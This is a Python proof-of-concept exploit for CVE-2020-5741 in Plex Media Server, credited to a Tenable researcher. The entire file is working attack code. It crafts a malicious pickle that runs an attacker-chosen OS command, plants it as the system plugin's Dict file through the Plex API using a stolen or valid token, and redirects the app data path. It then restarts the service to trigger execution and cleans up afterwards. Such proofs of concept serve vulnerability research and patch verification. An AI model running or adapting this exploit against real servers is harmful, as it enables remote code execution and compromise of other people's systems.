import pickle, subprocess
import os, requests
import sys
import json, time

# Author: Chris Lyne
# CVE-2020-5741
# https://www.tenable.com/security/research/tra-2020-32
# Must run with Python 2.7

# This is the object to be unpickled
class EvilPickle(object):
    def __init__(self, command):
        self.command = command
    def __reduce__(self):
        return (subprocess.Popen, ((self.command,),))

def create_photo_library(target, token, path):
    url = target + '/library/sections'
    params = {
        'name'          : 'EvilLib2',
        'type'          : 'photo',
        'agent'         : 'com.plexapp.agents.none',
        'scanner'       : 'Plex Photo Scanner',
        'language'      : 'en',
        'location'      : path
    }
    headers = {
        'Accept' : 'application/json',
        'X-Plex-Token'  : token
    }
    return requests.post(url, params=params, headers=headers)

def add_dict_to_lib(target, token, the_dict, album_name, locationId):
    url = target + '/library/metadata'
    params = {
        'createdAt' : '1171387901',
        'filename' : album_name + '/Plex Media Server/Plug-in Support/Data/com.plexapp.system/Dict', # write to here
        'locationID' : locationId,
        'sectionID' : 3,
        'type' : 13
    }
    headers = {
        'Content-Type' : 'application/octet-stream',
        'X-Plex-Token' : token
    }
    return requests.post(url, params=params, headers=headers, data=the_dict)
    

def set_local_app_data_path(target, token, path):
    url = target + '/:/prefs'
    params = {
        'LocalAppDataPath' : path,
        'X-Plex-Token' : token
    }
    return requests.put(url, params=params)

def restart_service(target, token, service="com.plexapp.system"):
    url = target + ('/:/plugins/%s/restart' % (service))
    params = {
        'X-Plex-Token' : token
    }
    return requests.get(url, params=params)

def delete_library(target, token, libraryId):
    url = target + "/library/sections/" + str(libraryId)

    headers = {
        'X-Plex-Token' : token
    }

    return requests.delete(url, headers=headers)

### main

if len(sys.argv) < 4:
    print "Usage: <target> <token> <os command>"
    sys.exit(1)

target = sys.argv[1]    # http://192-168-1-192.bc45cb21e94043e098e106ba64027187.plex.direct:32400
token = sys.argv[2]     # this is X-Plex-Token
command = sys.argv[3]   # e.g. calc.exe

# create photo library at C:\Users\Public
lib_path = 'C:\Users\Public' # windows
print "Creating evil photo library"
res = create_photo_library(target, token, lib_path)

if res.status_code != 201:
    print "Error creating photo library"
    sys.exit(1)

json = json.loads(res.text)
locationId = json['MediaContainer']['Directory'][0]['Location'][0]['id']
print "Got location id: " + str(locationId)

# create evil pickle and save it as dict file
print "Creating evil pickle file"
exploit = EvilPickle(command)
evil_dict = pickle.dumps(exploit, protocol=2)

print "Adding evil Dict to library"
album_name = 'myalbum'
res = add_dict_to_lib(target, token, evil_dict, album_name, int(locationId))

if res.status_code != 200:
    print "Error adding dict to library"
    sys.exit(1)

# set local app data path to our remote SMB share
app_data_path = lib_path + '\\' + album_name
print "Setting local app data path to '%s'" % (app_data_path)
set_local_app_data_path(target, token, app_data_path)

# restart system service
print "Restarting service"
restart_service(target, token)
print "Waiting for service to reload"  # give service a chance to reload
print "Did your payload fire?\n"

# reset local app data path
print "Resetting app data path"
set_local_app_data_path(target, token, "")
restart_service(target, token)

# delete library
print "Deleting library"
res = delete_library(target, token, int(locationId))

print "Done"
